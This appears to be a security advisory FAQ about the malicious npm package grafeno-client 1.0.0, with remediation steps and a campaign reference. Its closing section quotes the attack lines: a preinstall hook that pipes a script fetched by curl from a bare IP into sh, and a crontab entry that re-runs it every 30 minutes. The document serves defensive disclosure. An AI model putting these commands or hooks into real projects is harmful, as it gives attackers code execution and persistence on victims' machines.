Which versions of grafeno-client are malicious?

The following npm versions of grafeno-client are flagged malicious: 1.0.0. Treat any of these as compromised.

How do I remediate grafeno-client if I installed it?

Remove grafeno-client from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

I already installed grafeno-client — how do I know if it already compromised me?

If grafeno-client was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is grafeno-client part of a known attack campaign?

Yes — grafeno-client is associated with the IN-MAL-2026-019062 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find grafeno-client across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for grafeno-client (version 1.0.0).

What this malware does

package.json declares a preinstall script that runs curl against a bare IP over plain HTTP (http://216.126.236.46/x.sh) and pipes the response to sh, giving the remote host arbitrary code execution on the installer at npm install time. The same preinstall appends a crontab entry (*/30 * * * * curl -s 216.126.236.46/x.sh|sh) that re-fetches and re-executes the remote script every 30 minutes, establishing persistence that survives removal of the npm package. The shipped index.js is a stub, so the manifest is the entire payload.
